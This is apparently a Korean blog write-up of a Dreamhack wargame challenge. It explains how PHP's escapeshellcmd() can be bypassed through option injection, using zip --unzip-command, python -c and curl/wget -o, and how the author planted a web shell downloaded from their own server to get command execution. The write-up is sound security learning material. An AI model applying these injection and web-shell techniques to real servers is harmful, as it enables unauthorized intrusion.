security/웹해킹

[Dreamhack Wargame] Command Injection Advanced

민사민서 2023. 7. 15. 22:14

PHP escapeshellcmd() 함수 우회

1. escapeshellcmd() 함수에 대해

<?php
  $cmd = "ls ".escapeshellcmd($_GET['filename'])." 2>&1";
  system($cmd);
?>

- 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 php에서 사용하는 함수

- 쉘 명령을 속이는 데 사용될 수 있는 문자열의 모든 문자를 이스케이프한다

- 다음 문자 앞에 백슬래시를 붙인다& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ , \x0A \xFF ' "  (따옴표는 쌍이 아닌 경우만)

cf) escapeshellarg()는 전달한 입력값을 하나의 문자열로 만들어버림

 

2. 취약점

메타문자를 활용한 커맨드 인젝션은 불가능하다, 실행하려는 명령어의 옵션은 조작할 수 있다

php > var_dump(escapeshellcmd("a -h -d -e"));
string(10) "a -h -d -e"
php > var_dump(escapeshellarg("a -h -d -e"));
string(12) "'a -h -d -e'"

- 문자는 이스케이프 하지 않으므로 명령어의 옵션과 인자를 조작할 수 있다

 

3. 공격 예시

- zip:  --unzip-command 옵션을 이용해 인자로 전달된 명령어 실행

$ zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
updating: etc/passwd (deflated 64%)
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
test of /tmp/test.zip OK

- python:  -c 옵션을 이용해 파이썬 코드를 실행

$ python -c '__import__("os").system("id")' input.py
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

- curl:  -o 옵션을 이용해 url에서 반환하는 데이터를 임의 경로의 파일에 저장

$ curl  http://dreamhack.local -o /tmp/hello.txt
Hello !

- wget:  -O 옵션을 사용해 임의 경로에 파일을 저장

$ wget http://dreamhack.local -O hello.txt
--2020-05-20 14:28:56--  http://dreamhack.local/
Resolving dreamhack.local (dreamhack.local)... 127.0.0.1
Connecting to dreamhack.local (dreamhack.local)|127.0.0.1|:80... connected.
...

 

문제 분석

<?php
    if(isset($_GET['url'])){
        $url = $_GET['url'];
        if(strpos($url, 'http') !== 0 ){
            die('http only !');
        }else{
            $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
            $cache_file = './cache/'.md5($url);
            file_put_contents($cache_file, $result);
            echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
            echo '<pre>'. htmlentities($result) .'</pre>';
            return;
        }
    }else{

- GET argument로 'url'을 받아 'http'가 들어있는지 확인하고 escapeshellcmd() 함수에 넣는다

- curl 명령어를 실행하고 result는 /cache 폴더 아래에 파일로 저장한다

 

혹은 ./cache/tmp

드림핵 사이트 데이터를 받아와 host3.dreamhack.~~/cache/tmp 에 받아와지다 확인했는데

잘 받아와지더라.

 

개인서버에 웹 쉘 올려두고 그걸 ./cache/webshell.php로 받아오면 되겠다

http://host3.dreamhack.games:16977/cache/webshell.php?cmd=ls 접속해보니

flag는 없었다

root 디렉토리에서 찾아보니 있었고, cat 안먹히길래 file 로 분석해보니 executable file이었다